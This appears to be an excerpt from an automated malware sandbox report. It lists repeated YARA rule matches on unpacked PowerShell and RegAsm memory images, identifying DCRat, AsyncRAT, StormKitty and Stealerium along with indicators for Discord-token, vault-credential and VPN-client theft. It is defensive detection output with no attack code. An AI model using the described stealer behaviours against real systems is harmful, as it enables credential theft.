Source: 15.2.powershell.exe.6920daa.8.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 15.2.powershell.exe.6920daa.8.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 15.2.powershell.exe.6920daa.8.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 14.2.powershell.exe.575d5e6.3.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 14.2.powershell.exe.66b2f2a.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 14.2.powershell.exe.66b2f2a.6.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stealerium author = Sekoia.io, description = Detects Stealerium based on specific strings, creation_date = 2022-12-01, classification = TLP:CLEAR, version = 1.0, id = 165c7d3d-de7e-4d71-b94a-8ab4a0e5ddd5
Source: 14.2.powershell.exe.66b2f2a.6.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stormkitty author = Sekoia.io, description = Finds StormKitty samples (or their variants) based on specific strings, creation_date = 2023-03-29, classification = TLP:CLEAR, version = 1.0, id = 5014d2e5-af5c-4800-ab1e-b57de37a2450
Source: 14.2.powershell.exe.66b2f2a.6.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_dcrat_qwqdanchun author = Sekoia.io, description = Find DcRAT samples (qwqdanchun) based on specific strings, creation_date = 2023-01-26, classification = TLP:CLEAR, version = 1.0, reference = https://github.com/qwqdanchun/DcRat, id = 8206a410-48b3-425f-9dcb-7a528673a37a
Source: 14.2.powershell.exe.66b2f2a.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 14.2.powershell.exe.66b2f2a.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 14.2.powershell.exe.66b2f2a.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 14.2.powershell.exe.66b2f2a.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 14.2.powershell.exe.66b2f2a.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 14.2.powershell.exe.66b2f2a.6.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 17.2.powershell.exe.5cb11e0.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 17.2.powershell.exe.5cb11e0.6.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stealerium author = Sekoia.io, description = Detects Stealerium based on specific strings, creation_date = 2022-12-01, classification = TLP:CLEAR, version = 1.0, id = 165c7d3d-de7e-4d71-b94a-8ab4a0e5ddd5
Source: 17.2.powershell.exe.5cb11e0.6.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stormkitty author = Sekoia.io, description = Finds StormKitty samples (or their variants) based on specific strings, creation_date = 2023-03-29, classification = TLP:CLEAR, version = 1.0, id = 5014d2e5-af5c-4800-ab1e-b57de37a2450
Source: 17.2.powershell.exe.5cb11e0.6.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_dcrat_qwqdanchun author = Sekoia.io, description = Find DcRAT samples (qwqdanchun) based on specific strings, creation_date = 2023-01-26, classification = TLP:CLEAR, version = 1.0, reference = https://github.com/qwqdanchun/DcRat, id = 8206a410-48b3-425f-9dcb-7a528673a37a
Source: 17.2.powershell.exe.5cb11e0.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 17.2.powershell.exe.5cb11e0.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 17.2.powershell.exe.5cb11e0.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 17.2.powershell.exe.5cb11e0.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 17.2.powershell.exe.5cb11e0.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 17.2.powershell.exe.5cb11e0.6.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 17.2.powershell.exe.5cb11e0.6.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 17.2.powershell.exe.5a14cea.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 17.2.powershell.exe.5a14cea.7.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stealerium author = Sekoia.io, description = Detects Stealerium based on specific strings, creation_date = 2022-12-01, classification = TLP:CLEAR, version = 1.0, id = 165c7d3d-de7e-4d71-b94a-8ab4a0e5ddd5
Source: 17.2.powershell.exe.5a14cea.7.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stormkitty author = Sekoia.io, description = Finds StormKitty samples (or their variants) based on specific strings, creation_date = 2023-03-29, classification = TLP:CLEAR, version = 1.0, id = 5014d2e5-af5c-4800-ab1e-b57de37a2450
Source: 17.2.powershell.exe.5a14cea.7.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_dcrat_qwqdanchun author = Sekoia.io, description = Find DcRAT samples (qwqdanchun) based on specific strings, creation_date = 2023-01-26, classification = TLP:CLEAR, version = 1.0, reference = https://github.com/qwqdanchun/DcRat, id = 8206a410-48b3-425f-9dcb-7a528673a37a
Source: 17.2.powershell.exe.5a14cea.7.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 17.2.powershell.exe.5a14cea.7.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 17.2.powershell.exe.5a14cea.7.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 17.2.powershell.exe.5a14cea.7.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 17.2.powershell.exe.5a14cea.7.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 17.2.powershell.exe.5a14cea.7.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 27.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 27.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stealerium author = Sekoia.io, description = Detects Stealerium based on specific strings, creation_date = 2022-12-01, classification = TLP:CLEAR, version = 1.0, id = 165c7d3d-de7e-4d71-b94a-8ab4a0e5ddd5
Source: 27.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stormkitty author = Sekoia.io, description = Finds StormKitty samples (or their variants) based on specific strings, creation_date = 2023-03-29, classification = TLP:CLEAR, version = 1.0, id = 5014d2e5-af5c-4800-ab1e-b57de37a2450
Source: 27.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: rat_win_dcrat_qwqdanchun author = Sekoia.io, description = Find DcRAT samples (qwqdanchun) based on specific strings, creation_date = 2023-01-26, classification = TLP:CLEAR, version = 1.0, reference = https://github.com/qwqdanchun/DcRat, id = 8206a410-48b3-425f-9dcb-7a528673a37a
Source: 27.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 27.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 27.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 27.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 27.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 27.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 27.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 13.2.powershell.exe.6942dea.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 13.2.powershell.exe.6942dea.7.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stealerium author = Sekoia.io, description = Detects Stealerium based on specific strings, creation_date = 2022-12-01, classification = TLP:CLEAR, version = 1.0, id = 165c7d3d-de7e-4d71-b94a-8ab4a0e5ddd5
Source: 13.2.powershell.exe.6942dea.7.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stormkitty author = Sekoia.io, description = Finds StormKitty samples (or their variants) based on specific strings, creation_date = 2023-03-29, classification = TLP:CLEAR, version = 1.0, id = 5014d2e5-af5c-4800-ab1e-b57de37a2450
Source: 13.2.powershell.exe.6942dea.7.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_dcrat_qwqdanchun author = Sekoia.io, description = Find DcRAT samples (qwqdanchun) based on specific strings, creation_date = 2023-01-26, classification = TLP:CLEAR, version = 1.0, reference = https://github.com/qwqdanchun/DcRat, id = 8206a410-48b3-425f-9dcb-7a528673a37a
Source: 13.2.powershell.exe.6942dea.7.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 13.2.powershell.exe.6942dea.7.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 13.2.powershell.exe.6942dea.7.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 13.2.powershell.exe.6942dea.7.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 13.2.powershell.exe.6942dea.7.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 13.2.powershell.exe.6942dea.7.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 13.2.powershell.exe.6582b6a.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 13.2.powershell.exe.6582b6a.6.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stealerium author = Sekoia.io, description = Detects Stealerium based on specific strings, creation_date = 2022-12-01, classification = TLP:CLEAR, version = 1.0, id = 165c7d3d-de7e-4d71-b94a-8ab4a0e5ddd5
Source: 13.2.powershell.exe.6582b6a.6.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stormkitty author = Sekoia.io, description = Finds StormKitty samples (or their variants) based on specific strings, creation_date = 2023-03-29, classification = TLP:CLEAR, version = 1.0, id = 5014d2e5-af5c-4800-ab1e-b57de37a2450
Source: 13.2.powershell.exe.6582b6a.6.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_dcrat_qwqdanchun author = Sekoia.io, description = Find DcRAT samples (qwqdanchun) based on specific strings, creation_date = 2023-01-26, classification = TLP:CLEAR, version = 1.0, reference = https://github.com/qwqdanchun/DcRat, id = 8206a410-48b3-425f-9dcb-7a528673a37a
Source: 13.2.powershell.exe.6582b6a.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 13.2.powershell.exe.6582b6a.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 13.2.powershell.exe.6582b6a.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 13.2.powershell.exe.6582b6a.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 13.2.powershell.exe.6582b6a.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 13.2.powershell.exe.6582b6a.6.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 17.2.powershell.exe.5cb11e0.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 17.2.powershell.exe.5cb11e0.6.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stealerium author = Sekoia.io, description = Detects Stealerium based on specific strings, creation_date = 2022-12-01, classification = TLP:CLEAR, version = 1.0, id = 165c7d3d-de7e-4d71-b94a-8ab4a0e5ddd5
Source: 17.2.powershell.exe.5cb11e0.6.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stormkitty author = Sekoia.io, description = Finds StormKitty samples (or their variants) based on specific strings, creation_date = 2023-03-29, classification = TLP:CLEAR, version = 1.0, id = 5014d2e5-af5c-4800-ab1e-b57de37a2450
Source: 17.2.powershell.exe.5cb11e0.6.unpack, type: UNPACKEDPE	Matched rule: rat_win_dcrat_qwqdanchun author = Sekoia.io, description = Find DcRAT samples (qwqdanchun) based on specific strings, creation_date = 2023-01-26, classification = TLP:CLEAR, version = 1.0, reference = https://github.com/qwqdanchun/DcRat, id = 8206a410-48b3-425f-9dcb-7a528673a37a
Source: 17.2.powershell.exe.5cb11e0.6.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 17.2.powershell.exe.5cb11e0.6.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 17.2.powershell.exe.5cb11e0.6.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 17.2.powershell.exe.5cb11e0.6.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 17.2.powershell.exe.5cb11e0.6.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 17.2.powershell.exe.5cb11e0.6.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 17.2.powershell.exe.4ac20ba.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 17.2.powershell.exe.5dd4f6a.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 17.2.powershell.exe.5dd4f6a.8.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stealerium author = Sekoia.io, description = Detects Stealerium based on specific strings, creation_date = 2022-12-01, classification = TLP:CLEAR, version = 1.0, id = 165c7d3d-de7e-4d71-b94a-8ab4a0e5ddd5
Source: 17.2.powershell.exe.5dd4f6a.8.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stormkitty author = Sekoia.io, description = Finds StormKitty samples (or their variants) based on specific strings, creation_date = 2023-03-29, classification = TLP:CLEAR, version = 1.0, id = 5014d2e5-af5c-4800-ab1e-b57de37a2450
Source: 17.2.powershell.exe.5dd4f6a.8.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_dcrat_qwqdanchun author = Sekoia.io, description = Find DcRAT samples (qwqdanchun) based on specific strings, creation_date = 2023-01-26, classification = TLP:CLEAR, version = 1.0, reference = https://github.com/qwqdanchun/DcRat, id = 8206a410-48b3-425f-9dcb-7a528673a37a
Source: 17.2.powershell.exe.5dd4f6a.8.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 17.2.powershell.exe.5dd4f6a.8.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 17.2.powershell.exe.5dd4f6a.8.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 17.2.powershell.exe.5dd4f6a.8.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 17.2.powershell.exe.5dd4f6a.8.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 17.2.powershell.exe.5dd4f6a.8.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 15.2.powershell.exe.64ff600.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 15.2.powershell.exe.64ff600.7.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stealerium author = Sekoia.io, description = Detects Stealerium based on specific strings, creation_date = 2022-12-01, classification = TLP:CLEAR, version = 1.0, id = 165c7d3d-de7e-4d71-b94a-8ab4a0e5ddd5
Source: 15.2.powershell.exe.64ff600.7.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stormkitty author = Sekoia.io, description = Finds StormKitty samples (or their variants) based on specific strings, creation_date = 2023-03-29, classification = TLP:CLEAR, version = 1.0, id = 5014d2e5-af5c-4800-ab1e-b57de37a2450
Source: 15.2.powershell.exe.64ff600.7.unpack, type: UNPACKEDPE	Matched rule: rat_win_dcrat_qwqdanchun author = Sekoia.io, description = Find DcRAT samples (qwqdanchun) based on specific strings, creation_date = 2023-01-26, classification = TLP:CLEAR, version = 1.0, reference = https://github.com/qwqdanchun/DcRat, id = 8206a410-48b3-425f-9dcb-7a528673a37a
Source: 15.2.powershell.exe.64ff600.7.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 15.2.powershell.exe.64ff600.7.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 15.2.powershell.exe.64ff600.7.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 15.2.powershell.exe.64ff600.7.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 15.2.powershell.exe.64ff600.7.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 15.2.powershell.exe.64ff600.7.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 15.2.powershell.exe.64ff600.7.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 27.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 27.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stealerium author = Sekoia.io, description = Detects Stealerium based on specific strings, creation_date = 2022-12-01, classification = TLP:CLEAR, version = 1.0, id = 165c7d3d-de7e-4d71-b94a-8ab4a0e5ddd5
Source: 27.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stormkitty author = Sekoia.io, description = Finds StormKitty samples (or their variants) based on specific strings, creation_date = 2023-03-29, classification = TLP:CLEAR, version = 1.0, id = 5014d2e5-af5c-4800-ab1e-b57de37a2450
Source: 27.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_dcrat_qwqdanchun author = Sekoia.io, description = Find DcRAT samples (qwqdanchun) based on specific strings, creation_date = 2023-01-26, classification = TLP:CLEAR, version = 1.0, reference = https://github.com/qwqdanchun/DcRat, id = 8206a410-48b3-425f-9dcb-7a528673a37a
Source: 27.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 27.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 27.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 27.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 27.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 27.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 17.2.powershell.exe.4c4fae0.3.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 14.2.powershell.exe.6a731aa.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
